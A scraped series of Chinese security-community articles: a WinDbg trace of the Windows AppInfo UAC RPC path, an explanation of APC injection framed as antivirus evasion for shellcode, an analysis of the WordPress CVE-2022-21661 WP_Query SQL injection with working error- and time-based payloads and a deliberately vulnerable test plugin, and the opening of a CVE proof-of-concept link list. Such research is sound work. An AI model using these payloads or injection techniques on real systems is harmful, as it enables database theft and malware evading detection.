__int64 __fastcall Invoke(__int64 (__fastcall *pFunction)(__int64, __int64, __int64, __int64), const void *pArgumentList, __int64 pFloatingPointArgumentList, unsigned int cArguments)
{
void *v4; // rsp
__int64 (__fastcall *pfun)(__int64, __int64, __int64, __int64); // rdi
__int64 vars0; // [rsp+0h] [rbp+0h]
__int64 vars8; // [rsp+8h] [rbp+8h]
__int64 vars10; // [rsp+10h] [rbp+10h]
__int64 vars18; // [rsp+18h] [rbp+18h]
v4 = alloca(8 * ((cArguments + 1) & 0xFFFFFFFE));
qmemcpy(&vars0, pArgumentList, 8i64 * cArguments);
pfun = pFunction;
RpcInvokeCheckICall();
return pfun(vars0, vars8, vars10, vars18);
}
参数如下：
整理之后，参数列表如下：
pFunction: appinfo!RAiLaunchAdminProcess
pArgumentList: 0000026a0754a998
pFloatingPointArgumentList:0
cArguments: 000000000000000d
前四个参数如下：
vars0: 0000026a06cfc130
vars8: 0000026a06c5d120
0:003> dps 0000026a06c5d120
0000026a`06c5d120 00007ffd`dd552388 RPCRT4!LRPC_SCALL::`vftable'
0000026a`06c5d128 00002000`89abcdef
0000026a`06c5d130 ea594ec6`00000002
0000026a`06c5d138 0000026a`06cfc130
0:003> dps 00007ffd`dd552388
00007ffd`dd552388 00007ffd`dd4da080 RPCRT4!CCALL::BindingHandleIsDestroyed
00007ffd`dd552390 00007ffd`dd4a7110 RPCRT4!LRPC_SCALL::`vector deleting destructor'
00007ffd`dd552398 00007ffd`dd4da080 RPCRT4!CCALL::BindingHandleIsDestroyed
00007ffd`dd5523a0 00007ffd`dd4a5230 RPCRT4!LRPC_SCALL::FreeObject
00007ffd`dd5523a8 00007ffd`dd4a1b30 RPCRT4!REFERENCED_OBJECT::RemoveReference
00007ffd`dd5523b0 00007ffd`dd52f790 RPCRT4!LRPC_SCALL::SendReceive
00007ffd`dd5523b8 00007ffd`dd518b40 RPCRT4!LRPC_SCALL::Receive
00007ffd`dd5523c0 00007ffd`dd518b40 RPCRT4!LRPC_SCALL::Receive
00007ffd`dd5523c8 00007ffd`dd4a5ac0 RPCRT4!LRPC_SCALL::AsyncSend
00007ffd`dd5523d0 00007ffd`dd516900 RPCRT4!LRPC_SCALL::AsyncReceive
00007ffd`dd5523d8 00007ffd`dd4a4c20 RPCRT4!LRPC_SCALL::SetAsyncHandle
00007ffd`dd5523e0 00007ffd`dd4a4b90 RPCRT4!LRPC_SCALL::AbortAsyncCall
00007ffd`dd5523e8 00007ffd`dd4da060 RPCRT4!CALL::Cancel
00007ffd`dd5523f0 00007ffd`dd518520 RPCRT4!LRPC_SCALL::NegotiateTransferSyntax
00007ffd`dd5523f8 00007ffd`dd4a5c20 RPCRT4!LRPC_SCALL::GetBuffer
00007ffd`dd552400 00007ffd`dd4da080 RPCRT4!CCALL::BindingHandleIsDestroyed
vars10: 0000026a0752c1e8 "C:\WINDOWS\system32\taskmgr.exe"
vars18: 0000026a0752c248 ""C:\WINDOWS\system32\taskmgr.exe" /4"
后几个参数如下：
0:003> du 0000026a`0752c2b8
0000026a`0752c2b8 "C:\WINDOWS\system32"
0:003> du 0000026a`0752c2f8
0000026a`0752c2f8 "WinSta0\Default"
0:003> du 0000026a`0752c318
0000026a`0752c318 ""
0:003> du 0000026a`0754aa08
0000026a`0754aa08 ""
0:003> du 0000026a`0754aa48
0000026a`0754aa48 ""
看完上边的数据，大家是不是似曾相识？我给出上一篇文章的截图，如下：
好了，这里只是取出了数据。现在不妨往上一级即Ndr64AsyncServerWorker()看一下，能不能搞点惊喜出来。Ndr64AsyncServerWorker()中调用RPCRT4!Invoke()的方式如下:
现在的关键是找出ManagerEpv和v42.
现在来分析下pRpcMsg的数据,RPC_MESSAGE结构体如下：
typedef struct _RPC_MESSAGE
{
RPC_BINDING_HANDLE Handle;
unsigned long DataRepresentation;
void *Buffer;
unsigned int BufferLength;
unsigned int ProcNum;
PRPC_SYNTAX_IDENTIFIER TransferSyntax;
void *RpcInterfaceInformation;
void *ReservedForRuntime;
RPC_MGR_EPV *ManagerEpv;
void *ImportContext;
unsigned long RpcFlags;
} RPC_MESSAGE, *PRPC_MESSAGE;
我们现在找v42这个数据，如下：
0:001> dq 0000026a`06c31530+0n80
0000026a`06c31580 00007ffd`b903b470 00000000`06000000
0000026a`06c31590 00007ffd`b903b690 0000026a`06c24fa0
0000026a`06c315a0 00000001`00000002 000004d2`00000001
0000026a`06c315b0 0000026a`06c27c50 0000026a`06c315c8
0000026a`06c315c0 00000000`00000004 00000000`00000000
0000026a`06c315d0 00000000`00000000 00000000`00000000
0000026a`06c315e0 00000000`00000000 006f666e`49707041
0000026a`06c315f0 00000000`00000000 00000000`00000000
0:001> dq 00007ffd`b903b470+8
00007ffd`b903b478 00007ffd`b903b730 00007ffd`b903e912
00007ffd`b903b488 00007ffd`b903e8f8 00000000`00000000
00007ffd`b903b498 00007ffd`b903e8e0 00000000`00000002
00007ffd`b903b4a8 00007ffd`b903b690 00000000`00000007
00007ffd`b903b4b8 00007ffd`b903b650 00000000`00000000
00007ffd`b903b4c8 00000000`00000000 00007ffd`b903bcb0
00007ffd`b903b4d8 00007ffd`b903bca0 00007ffd`b903e912
00007ffd`b903b4e8 00007ffd`b903ee30 00000000`00000000
v42=00007ffd`b903b730
pFun的值为poi(00007ffd`b903b730)即:
pFun = 00007ffd`b9022c30
0:001> u 00007ffd`b9022c30
appinfo!RAiLaunchAdminProcess:
00007ffd`b9022c30 4055 push rbp
00007ffd`b9022c32 53 push rbx
00007ffd`b9022c33 56 push rsi
00007ffd`b9022c34 57 push rdi
现在简单看下v42指向的数据保存的函数指针都有哪些,如下：
0:001> dps 00007ffd`b903b730
00007ffd`b903b730 00007ffd`b9022c30 appinfo!RAiLaunchAdminProcess
00007ffd`b903b738 00007ffd`b9038ad0 appinfo!RAiProcessRunOnce
00007ffd`b903b740 00007ffd`b9036cd0 appinfo!RAiLogonWithSmartCardCreds
00007ffd`b903b748 00007ffd`b902e0e0 appinfo!RAiOverrideDesktopPromptPolicy
00007ffd`b903b750 00007ffd`b9035a40 appinfo!RAiDisableElevationForSession
00007ffd`b903b758 00007ffd`b9035ae0 appinfo!RAiEnableElevationForSession
00007ffd`b903b760 00007ffd`b9039680 appinfo!RAiForceElevationPromptForCOM
00007ffd`b903b768 00000000`00000000
00007ffd`b903b770 00007ffd`b903b180 appinfo!TrustLabelAceHelpers::VerifyTrustSidPresentOnFilesystemObject <PERF> (appinfo+0x1b180)
00007ffd`b903b778 00007ffd`b9025680 appinfo!MIDL_user_allocate
00007ffd`b903b780 00007ffd`b9025690 appinfo!MIDL_user_free
## 3、appinfo!RAiLaunchAdminProcess()内部逻辑分析
这个函数内部实现很复杂，用IDA简单看下如此，极其难看。今天我不打算用IDA去分析，题目也是说的在Windbg中查看。Windbg真的是让人爱不释手，爱到痴狂。
现在的目标只有一个——在Windbg中查询程序的执行路径，获取关键的API。[在你不知道具体逻辑实现时，根据API名字推测出关键API调用并不是件多难的事情。]在Windbg中可以用wt命令实现这个小目标，如下：
稍微排除下，倒数第二个红框里的正是我感兴趣的，进去进行深入分析。
### 3.1 appinfo!AiIsEXESafeToAutoApprove的分析
下图有点长，看我红框中的关键点即可。
## 4、简短的总结
本篇讲解了如何找到AIS的关键路径以及关键API，进行的简短的分析，找到了autoElevate，签名校验，白名单路径检测的逻辑代码，深入的分析留待下一篇进行。期待呗。 | 社区文章 |
# 深入理解APC机制
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
在平常的渗透测试中，其中主要一项就是对抗杀软检测，需要对shellcode 免杀，而免杀中使用最多的就是APC
注入方式，第一次接触的时候感觉很NB，国内的杀软都能过（即使现在），我就在思考为什么杀软不能检测和拦截到此如此常见的方式，于是就有了此文对APC内部机制的探索。
## 0x01 APC 介绍
1.APC（Asynchronous Procedure Call 异步过程调用）是一种可以在 Windows
中使用的机制，用于将要在特定线程上下文中完成的作业排队。这在几个方面很有用 – 主要用于异步回调 – 安全人员了解 APC
主要是因为恶意软件使用它来将代码注入不同的进程 – 这就是对该机制的滥用。
在内核模式下，开发人员通常不使用 APC，因为 API 没有记录，但是安全人员（包括 rootkit 和 AV
开发人员）使用它从内核驱动程序将他们的代码注入到用户模式进程中。例如，当调用异步 RPC 方法时，您可以指定在 RPC 方法完成时将执行的 APC
队列。这只是一个例子，有很多使用 APC 的机制的例子，比如 NtWriteFile/NtReadFile、IRP 中的 IO
完成、Get/SetThreadContext、SuspendThread、TerminateThread 等等。此外，Windows 的调度程序也使用
APC。这就是为什么我认为理解 APC 对理解 Windows 内部结构很重要。
2.Alertable 状态：要调用APC，线程必须是处于Alertable
状态。那怎么才能让线程处于这个状态呢？很简单，WaitForSingleObjectEx、[SleepEx](https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-sleepex)等且Alertable=TRUE，它就会变成“Alertable” 状态。执行此操作时，Windows 可能会在从这些函数返回之前将 APC
传送到该线程。这允许程序的开发人员控制可以在程序的哪些部分交付用户 APC。另一个可用于允许挂起 APC 执行的函数是 NtTestAlert。
## 0x02 APC 注入
在实战攻防中如何利用此特性对抗杀软，其实有已经很多代码的例子了C++ 版本[APC-Inject](https://github.com/tomcarver16/APC-Injector/blob/master/apc-inject/apc-inject.cpp)，C# 版本 [APC-inject](https://github.com/pwndizzle/c-sharp-memory-injection/blob/master/apc-injection-new-process.cs)，函数原型：
DWORD QueueUserAPC(
PAPCFUNC pfnAPC,
HANDLE hThread,
ULONG_PTR dwData
);
最常用的一般都是：1.创建一个suspend状态的进程。2.将exp函数插入APC队列。3.resumexx
调用APC队列中的函数。这里第一步中的suspend状态的进程对应的就是Alertable
状态（第一次学习的时候，就在想为什么必须是suspend）。你注入的如果是正常进程的APC，是永远都不会执行的，这里其实是Microsoft
不希望在线程未处于Alertable状态时运行 APC。例如，假设一个线程正在使用LoadLibrary加载一个库，LoadLibrary 接触 PEB
中的加载程序结构并获取锁。假设 APC 的目标地址是 LoadLibrary，这可能会导致问题，因为同一个线程已经在 LoadLibrary 中。
## 0x03 深入APC 内核
内核向队列 APC 公开了 3 个系统调用：NtQueueApcThread、NtQueueApcThreadEx 和
NtQueueApcThreadEx2。QueueUserAPC 是 kernelbase 中的一个封装函数，它调用
NtQueueApcThread。让我们看看此函数原型：
NtQueueApcThread：
NTSTATUS
NtQueueApcThread(
IN HANDLE ThreadHandle,
IN PPS_APC_ROUTINE ApcRoutine,
IN PVOID SystemArgument1 OPTIONAL,
IN PVOID SystemArgument2 OPTIONAL,
IN PVOID SystemArgument3 OPTIONAL
);
typedef
VOID
(*PPS_APC_ROUTINE)(
PVOID SystemArgument1,
PVOID SystemArgument2,
PVOID SystemArgument3,
PCONTEXT ContextRecord
);
其中ApcRoutine就是指在目标进程中routine的地址，也就是函数地址。后面三个参数就是对应传入函数的参数值，常见的比如注入加载dll就可以采用如下方式：
NtQueueApcThread(
ThreadHandle,
GetProcAddress(GetModuleHandle("kernel32"), "LoadLibraryA"),
RemoteLibraryAddress,
NULL,
NULL
);
NtQueueApcThreadEx:
每次调用 NtQueueApcThread 时，都会在内核模式下分配一个新的 KAPC 对象来存储有关 APC 对象的数据。因为如果有一个组件将许多
APC排队。这可能会对性能产生影响，因为使用了大量非分页内存，并且分配内存也需要一些时间。所以，在 Windows 7
中，微软向内核模式添加了一个非常简单的对象，称为内存保留对象（memory reserve
object.）。它允许在内核模式下为某些对象保留内存，稍后在释放对象时使用相同的内存区域来存储另一个对象，从而减少
ExAllocatePool/ExFreePool 调用的次数。NtQueueApcThreadEx 接收到此类对象的
HANDLE，从而允许调用者重用相同的内存。
NTSTATUS
NtQueueApcThreadEx(
IN HANDLE ThreadHandle,
IN HANDLE MemoryReserveHandle,
IN PPS_APC_ROUTINE ApcRoutine,
IN PVOID SystemArgument1 OPTIONAL,
IN PVOID SystemArgument2 OPTIONAL,
IN PVOID SystemArgument3 OPTIONAL
);
这跟NtQueueApcThread很相似，就是多了MemoryReserveHandle参数，此handle可以由NtAllocateReserveObject获得。
NTSTATUS
NtAllocateReserveObject(
__out PHANDLE MemoryReserveHandle,
__in_opt POBJECT_ATTRIBUTES ObjectAttributes,
__in MEMORY_RESERVE_OBJECT_TYPE ObjectType
);
例如示例代码会循环插入APC队列，并且执行会一直输出内容：
#include <Windows.h>
#include <stdio.h>
#include <winternl.h>
typedef
VOID
(*PPS_APC_ROUTINE)(
PVOID SystemArgument1,
PVOID SystemArgument2,
PVOID SystemArgument3
);
typedef
NTSTATUS
(NTAPI* PNT_QUEUE_APC_THREAD_EX)(
IN HANDLE ThreadHandle,
IN HANDLE MemoryReserveHandle,
IN PPS_APC_ROUTINE ApcRoutine,
IN PVOID SystemArgument1 OPTIONAL,
IN PVOID SystemArgument2 OPTIONAL,
IN PVOID SystemArgument3 OPTIONAL
);
typedef enum _MEMORY_RESERVE_OBJECT_TYPE {
MemoryReserveObjectTypeUserApc,
MemoryReserveObjectTypeIoCompletion
} MEMORY_RESERVE_OBJECT_TYPE, PMEMORY_RESERVE_OBJECT_TYPE;
typedef
NTSTATUS
(NTAPI* PNT_ALLOCATE_RESERVE_OBJECT)(
__out PHANDLE MemoryReserveHandle,
__in_opt POBJECT_ATTRIBUTES ObjectAttributes,
__in ULONG Type
);
VOID
ExampleApcRoutine(
PVOID arg1,
PVOID arg2,
PVOID arg3
);
PNT_ALLOCATE_RESERVE_OBJECT NtAllocateReserveObject;
PNT_QUEUE_APC_THREAD_EX NtQueueApcThreadEx;
int main(
int argc,
const char** argv
)
{
NTSTATUS Status;
HANDLE MemoryReserveHandle;
NtQueueApcThreadEx = (PNT_QUEUE_APC_THREAD_EX)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueueApcThreadEx");
NtAllocateReserveObject = (PNT_ALLOCATE_RESERVE_OBJECT)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateReserveObject");
if (!NtQueueApcThreadEx || !NtAllocateReserveObject) {
exit(0x1337);
}
Status = NtAllocateReserveObject(&MemoryReserveHandle, NULL, MemoryReserveObjectTypeUserApc);
if (!NT_SUCCESS(Status)) {
printf("NtAllocateReserveObject Failed! 0x%08X\n", Status);
return -1;
}
while (TRUE) {
//
// 添加APC队列到当前线程
//
Status = NtQueueApcThreadEx(
GetCurrentThread(),
MemoryReserveHandle,
expfunc,//这里也可以换成LoadLibraryA加载dll
NULL,
NULL,
NULL
);
if (!NT_SUCCESS(Status)) {
printf("NtQueueApcThreadEx Failed! 0x%08X\n", Status);
return -1;
}
//
// 执行APC函数
//
SleepEx(0, TRUE);
}
return 0;
}
VOID
expfunc(
PVOID arg1,
PVOID arg2,
PVOID arg3
)
{
Sleep(300);
printf("This is the weird loop!\n");
}
## 0x04 总结
因为在第一次了解，发现这是一种很好的免杀方式，想知道其内部原理，可以调用内部过程函数，对后面的免杀有了更深的理解。在查找资料中，发现了很多很好的文章思路，总结其APC
Windows内部结构，对想理解windows机制的人会有所帮助。 | 社区文章 |
# 0x00 概述
2022年1月6日，wordpress发布了5.8.3版本，修复了一处核心代码WP_Query的sql注入漏洞。
WP_Query是wordpress定义的一个类，允许开发者编写自定义查询和使用不同的参数展示文章，并可以直接查询wordpress数据库，在核心框架和插件以及主题中广泛使用。
# 0x01 影响范围
wordpress v4.1~v5.8.2
# 0x02 漏洞重现
测试环境：win7+phpstudy2016(php5.6.27+apache2.4.23)+wordpress5.8+firefox+burpsuite
wordpress-v5-8\wp-content\themes\twentytwentyone\functions.php
添加如下代码：
//cve-2022-21661 test
function wp_query_test(){
echo 'test-cve-2022-21661';
$inputData = stripslashes($_POST['data']);
$jsonDecodeInputData = json_decode($inputData,true);
$wpTest = new WP_Query($jsonDecodeInputData);
wp_die();
}
add_action('wp_ajax_nopriv_test','wp_query_test',0);
开启wp debug
wordpress-v5-8\wp-config.php
define( 'WP_DEBUG', true );
请求URL：
<http://127.0.0.1:8899/lsawebtest/vulweb/wordpress/wordpress-v5-8/wp-admin/admin-ajax.php>
body数据：
action=test&data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111)
and extractvalue(rand(),concat(0x5e,user(),0x5e))#"]}}}
报错的完整sql语句：
SELECT SQL_CALC_FOUND_ROWS wp_posts.ID FROM wp_posts LEFT JOIN wp_term_relationships ON (wp_posts.ID = wp_term_relationships.object_id) WHERE 1=1 AND ( wp_term_relationships.term_taxonomy_id IN (111) and extractvalue(rand(),concat(0x5e,user(),0x5e))#) ) AND wp_posts.post_type IN ('post', 'page', 'attachment') AND (wp_posts.post_status = 'publish' OR wp_posts.post_status = 'future' OR wp_posts.post_status = 'draft' OR wp_posts.post_status = 'pending') GROUP BY wp_posts.ID ORDER BY wp_posts.post_date DESC LIMIT 0, 10
默认未开debug模式
可以使用的延时sqli的poc：
action=test&data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111)
or (select sleep(2))#"]}}}
# 0x03 漏洞分析
对比5.8.3和5.8两个版本来查看修补的关键位置：
再查看github的commit：
这个wp_parse_id_list()函数要$query['terms']数组元素类型必须为int。
首先看看关键的clean_query()函数：
wordpress-v5-8\wp-includes\class-wp-tax-query.php
private function clean_query( &$query ) {
if ( empty( $query['taxonomy'] ) ) {
if ( 'term_taxonomy_id' !== $query['field'] ) {
$query = new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) );
return;
}
// So long as there are shared terms, 'include_children' requires that a taxonomy is set.
$query['include_children'] = false;
} elseif ( ! taxonomy_exists( $query['taxonomy'] ) ) {
$query = new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) );
return;
}
$query['terms'] = array_unique( (array) $query['terms'] );
if ( is_taxonomy_hierarchical( $query['taxonomy'] ) && $query['include_children'] ) {
$this->transform_query( $query, 'term_id' );
if ( is_wp_error( $query ) ) {
return;
}
$children = array();
foreach ( $query['terms'] as $term ) {
$children = array_merge( $children, get_term_children( $term, $query['taxonomy'] ) );
$children[] = $term;
}
$query['terms'] = $children;
}
$this->transform_query( $query, 'term_taxonomy_id' );
}
if ( is_taxonomy_hierarchical( $query['taxonomy'] ) &&
$query['include_children'] )
让其为false，就进去了最后的$this->transform_query( $query, 'term_taxonomy_id' );
接着进入该函数：
让$query[‘field’]为term_taxonomy_id直接return
这样用户输入的可控变量值就不会被改变，如$query[‘terms’]这个sqli语句。
所以
$query['include_children']或is_taxonomy_hierarchical($query['taxonomy'])为false。
$query['field']值为term_taxonomy_id。
找哪里调用clean_query()
找到get_sql_for_clause()函数这一处，该函数是生成join和where字句返回。
public function get_sql_for_clause( &$clause, $parent_query ) {
global $wpdb;
$sql = array(
'where' => array(),
'join' => array(),
);
$join = '';
$where = '';
$this->clean_query( $clause );
if ( is_wp_error( $clause ) ) {
return self::$no_results;
}
$terms = $clause['terms'];
$operator = strtoupper( $clause['operator'] );
if ( 'IN' === $operator ) {
if ( empty( $terms ) ) {
return self::$no_results;
}
$terms = implode( ',', $terms );
/*
* Before creating another table join, see if this clause has a
* sibling with an existing join that can be shared.
*/
$alias = $this->find_compatible_table_alias( $clause, $parent_query );
if ( false === $alias ) {
$i = count( $this->table_aliases );
$alias = $i ? 'tt' . $i : $wpdb->term_relationships;
// Store the alias as part of a flat array to build future iterators.
$this->table_aliases[] = $alias;
// Store the alias with this clause, so later siblings can use it.
$clause['alias'] = $alias;
$join .= " LEFT JOIN $wpdb->term_relationships";
$join .= $i ? " AS $alias" : '';
$join .= " ON ($this->primary_table.$this->primary_id_column = $alias.object_id)";
}
$where = "$alias.term_taxonomy_id $operator ($terms)";
} elseif ( 'NOT IN' === $operator ) {
if ( empty( $terms ) ) {
return $sql;
}
$terms = implode( ',', $terms );
$where = "$this->primary_table.$this->primary_id_column NOT IN (
SELECT object_id
FROM $wpdb->term_relationships
WHERE term_taxonomy_id IN ($terms)
)";
} elseif ( 'AND' === $operator ) {
if ( empty( $terms ) ) {
return $sql;
}
$num_terms = count( $terms );
$terms = implode( ',', $terms );
$where = "(
SELECT COUNT(1)
FROM $wpdb->term_relationships
WHERE term_taxonomy_id IN ($terms)
AND object_id = $this->primary_table.$this->primary_id_column
) = $num_terms";
} elseif ( 'NOT EXISTS' === $operator || 'EXISTS' === $operator ) {
$where = $wpdb->prepare(
"$operator (
SELECT 1
FROM $wpdb->term_relationships
INNER JOIN $wpdb->term_taxonomy
ON $wpdb->term_taxonomy.term_taxonomy_id = $wpdb->term_relationships.term_taxonomy_id
WHERE $wpdb->term_taxonomy.taxonomy = %s
AND $wpdb->term_relationships.object_id = $this->primary_table.$this->primary_id_column
)",
$clause['taxonomy']
);
}
$sql['join'][] = $join;
$sql['where'][] = $where;
return $sql;
}
主要这几行
$this->clean_query( $clause );
$terms = $clause['terms'];
if ( 'IN' === $operator ) {
$terms = implode( ',', $terms );
$where = "$alias.term_taxonomy_id $operator ($terms)";
$sql['join'][] = $join;
$sql['where'][] = $where;
return $sql;
返回了的sql语句包含了用户可控的$where（$terms）子句（在clean_query()的transform_query()里直接return了的）
接着找get_sql_for_clause()的调用链
phpstorm-ctrl+alt+h
找到个构造函数的，所以是从这里一直往上到达get_sql_for_clause
wordpress-v5-8\wp-includes\class-wp-query.php
WordPress核心框架本身的漏洞潜在触发点：
WP_Query($data)并且 $data 可控，如：
new WP_Query(json_decode($_POST['query_vars']))
POC：
query_vars={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["<sqli>"]}}}
或者
query_vars={"tax_query":{"0":{"taxonomy":"nav_menu","field":true,"terms":["<sqli>"]}}}
or
action=test&data={"tax_query":[{"field":"term_taxonomy_id","terms":["111) and extractvalue(rand(),concat(0x5e,user(),0x5e))-- "]}]}
# 0x04 受影响插件分析
搜索
new WP_Query
并找可控数据
类似new WP_Query($controlData);
暂时找不到，自己写个漏洞插件来分析。
<?php
/*
Plugin Name: CVE-2022-21661-test-plugin
Plugin URL: https://www.lsablog.com/networksec/penetration/cve-2022-21661-wordpress-core-sqli-analysis
Description: This plugin was made in order to test CVE-2022-21661 (wordpress core sql injection)
Version: v1.0
Author: LSA
Author's Blog: https://www.lsablog.com/
License: MIT
*/
function testSQLiCVE202221661(){
echo 'test-cve-2022-21661-plugin';
$inputData = stripslashes($_POST['data']);
$jsonDecodeInputData = json_decode($inputData,true);
$wpTest = new WP_Query($jsonDecodeInputData);
wp_die();
}
add_action('wp_ajax_nopriv_testcve202221661','testSQLiCVE202221661');
/*
//Args to be passed to the WP_Query class object
$args = array(
'tax_query' => array(
'Confidential' => array(
'field' => 'term_taxonomy_id',
'terms' => array("'"),
)
)
);
//WP_Query class object with specific args 2 trigger the SQLinjection
$trigger = new WP_Query($args);
return $trigger;
}
//Non-authenticated Ajax actions for logged-out users
add_action('wp_ajax_nopriv_Confidential','testinSQLinjection');
*/
?>
压缩为zip在wp后台安装
注意：这样测试如果登录了会返回400！要先退出登录！！
断点设置：
先看下整体流程：
new WP_Query() --> __construct() --> query() --> get_posts() --> get_sql() --> get_sql_clauses() --> get_sql_for_query() --> get_sql_for_clause() --> clean_query() --> transform_query() --> clean_query():return $sql
该if为假跳过
直接进入transform_query()
该if成立，直接return
赋值$terms数组
$terms再变为字符串
赋值$where
返回形成的sql数组
最终到这里构造成完整的sql语句（带有用户可控的sqli的$where）
SELECT SQL_CALC_FOUND_ROWS wp_posts.* FROM wp_posts LEFT JOIN wp_term_relationships ON (wp_posts.ID = wp_term_relationships.object_id) WHERE 1=1 AND (
wp_term_relationships.term_taxonomy_id IN (111) and extractvalue(rand(),concat(0x5e,user(),0x5e))#)
) AND wp_posts.post_type IN ('post', 'page', 'attachment') AND (wp_posts.post_status = 'publish' OR wp_posts.post_status = 'future' OR wp_posts.post_status = 'draft' OR wp_posts.post_status = 'pending') GROUP BY wp_posts.ID ORDER BY wp_posts.post_date DESC LIMIT 0, 10
大致调用栈：
和0x03漏洞分析一致。
# 0x05 修复方案
升级>=v5.8.3
# 0x06 结语
wordpress核心框架的漏洞相对较少，大部分漏洞都是插件。
应该有不少插件或主题是用了类似WP_Query($controldata)形式的，有空再挖挖。
# 0x07 参考资料
<https://wordpress.org/news/2022/01/wordpress-5-8-3-security-release/>
<https://mp.weixin.qq.com/s/-rCsc_y04wxUhXdGH8mR_g>
<https://mp.weixin.qq.com/s/5OF2tRlWMWzdaJI6uDa8lw>
<https://github.com/WordPress/WordPress/commit/271b1f60cd3e46548bd8aeb198eb8a923b9b3827#diff-357b9aeb2f8fabb8d457a16f5c7f903a168006e4fca817bea63dfd3b727f8373>
<https://confidentialteam.github.io/posts/cve-202221661ar/>
<https://cognn.medium.com/sql-injection-in-wordpress-core-zdi-can-15541-a451c492897>
<https://www.wpbeginner.com/glossary/wp_query/>
<https://developer.wordpress.org/reference/classes/wp_meta_query/get_sql_for_clause/>
<https://developer.wordpress.org/reference/classes/wp_tax_query/get_sql_for_clause/> | 社区文章 |
# Awesome CVE PoC
Here is a collection about Proof of Concepts of Common Vulnerabilities and
Exposures.
_Please read the contribution guidelines before contributing._
## Contents
* [CVE-2013-6632](https://github.com/qazbnm456/awesome-cve-poc#cve-2013-6632)
* [CVE-2014-1705](https://github.com/qazbnm456/awesome-cve-poc#cve-2014-1705)
* [CVE-2014-3176](https://github.com/qazbnm456/awesome-cve-poc#cve-2014-3176)
* [CVE-2014-7927](https://github.com/qazbnm456/awesome-cve-poc#cve-2014-7927)
* [CVE-2014-7928](https://github.com/qazbnm456/awesome-cve-poc#cve-2014-7928)
* [CVE-2015-0235](https://github.com/qazbnm456/awesome-cve-poc#cve-2015-0235)
* [CVE-2015-1233](https://github.com/qazbnm456/awesome-cve-poc#cve-2015-1233)
* [CVE-2015-1242](https://github.com/qazbnm456/awesome-cve-poc#cve-2015-1242)
* [CVE-2015-3306](https://github.com/qazbnm456/awesome-cve-poc#cve-2015-3306)
* [CVE-2015-6764](https://github.com/qazbnm456/awesome-cve-poc#cve-2015-6764)
* [CVE-2015-6771](https://github.com/qazbnm456/awesome-cve-poc#cve-2015-6771)
* [CVE-2015-7545](https://github.com/qazbnm456/awesome-cve-poc#cve-2015-7545)
* [CVE-2015-8584](https://github.com/qazbnm456/awesome-cve-poc#cve-2015-8584)
* [CVE-2016-0728](https://github.com/qazbnm456/awesome-cve-poc#cve-2016-0728)
* [CVE-2016-1646](https://github.com/qazbnm456/awesome-cve-poc#cve-2016-1646)
* [CVE-2016-1653](https://github.com/qazbnm456/awesome-cve-poc#cve-2016-1653)
* [CVE-2016-1665](https://github.com/qazbnm456/awesome-cve-poc#cve-2016-1665)
* [CVE-2016-1669](https://github.com/qazbnm456/awesome-cve-poc#cve-2016-1669)
* [CVE-2016-1677](https://github.com/qazbnm456/awesome-cve-poc#cve-2016-1677)
* [CVE-2016-1688](https://github.com/qazbnm456/awesome-cve-poc#cve-2016-1688)
* [CVE-2016-1857](https://github.com/qazbnm456/awesome-cve-poc#cve-2016-1857)
* [CVE-2016-3386](https://github.com/qazbnm456/awesome-cve-poc#cve-2016-3386)
* [CVE-2016-4622](https://github.com/qazbnm456/awesome-cve-poc#cve-2016-4622)
* [CVE-2016-4734](https://github.com/qazbnm456/awesome-cve-poc#cve-2016-4734)
* [CVE-2016-5129](https://github.com/qazbnm456/awesome-cve-poc#cve-2016-5129)
* [CVE-2016-5172](https://github.com/qazbnm456/awesome-cve-poc#cve-2016-5172)
* [CVE-2016-5198](https://github.com/qazbnm456/awesome-cve-poc#cve-2016-5198)
* [CVE-2016-5200](https://github.com/qazbnm456/awesome-cve-poc#cve-2016-5200)
* [CVE-2016-7189](https://github.com/qazbnm456/awesome-cve-poc#cve-2016-7189)
* [CVE-2016-7190](https://github.com/qazbnm456/awesome-cve-poc#cve-2016-7190)
* [CVE-2016-7194](https://github.com/qazbnm456/awesome-cve-poc#cve-2016-7194)
* [CVE-2016-7200](https://github.com/qazbnm456/awesome-cve-poc#cve-2016-7200)
* [CVE-2016-7201](https://github.com/qazbnm456/awesome-cve-poc#cve-2016-7201)
* [CVE-2016-7202](https://github.com/qazbnm456/awesome-cve-poc#cve-2016-7202)
* [CVE-2016-7203](https://github.com/qazbnm456/awesome-cve-poc#cve-2016-7203)
* [CVE-2016-7240](https://github.com/qazbnm456/awesome-cve-poc#cve-2016-7240)
* [CVE-2016-7241](https://github.com/qazbnm456/awesome-cve-poc#cve-2016-7241)
* [CVE-2016-7286](https://github.com/qazbnm456/awesome-cve-poc#cve-2016-7286)
* [CVE-2016-7287](https://github.com/qazbnm456/awesome-cve-poc#cve-2016-7287)
* [CVE-2016-7288](https://github.com/qazbnm456/awesome-cve-poc#cve-2016-7288)
* [CVE-2016-8413](https://github.com/qazbnm456/awesome-cve-poc#cve-2016-8413)
* [CVE-2016-8477](https://github.com/qazbnm456/awesome-cve-poc#cve-2016-8477)
* [CVE-2016-9651](https://github.com/qazbnm456/awesome-cve-poc#cve-2016-9651)
* [CVE-2017-0070](https://github.com/qazbnm456/awesome-cve-poc#cve-2017-0070)
* [CVE-2017-0071](https://github.com/qazbnm456/awesome-cve-poc#cve-2017-0071)
* [CVE-2017-0199](https://github.com/qazbnm456/awesome-cve-poc#cve-2017-0199)
* [CVE-2017-0392](https://github.com/qazbnm456/awesome-cve-poc#cve-2017-0392)
* [CVE-2017-0521](https://github.com/qazbnm456/awesome-cve-poc#cve-2017-0521)
* [CVE-2017-0531](https://github.com/qazbnm456/awesome-cve-poc#cve-2017-0531)
* [CVE-2017-0576](https://github.com/qazbnm456/awesome-cve-poc#cve-2017-0576)
* [CVE-2017-2416](https://github.com/qazbnm456/awesome-cve-poc#cve-2017-2416)
* [CVE-2017-2446](https://github.com/qazbnm456/awesome-cve-poc#cve-2017-2446)
* [CVE-2017-2447](https://github.com/qazbnm456/awesome-cve-poc#cve-2017-2447)
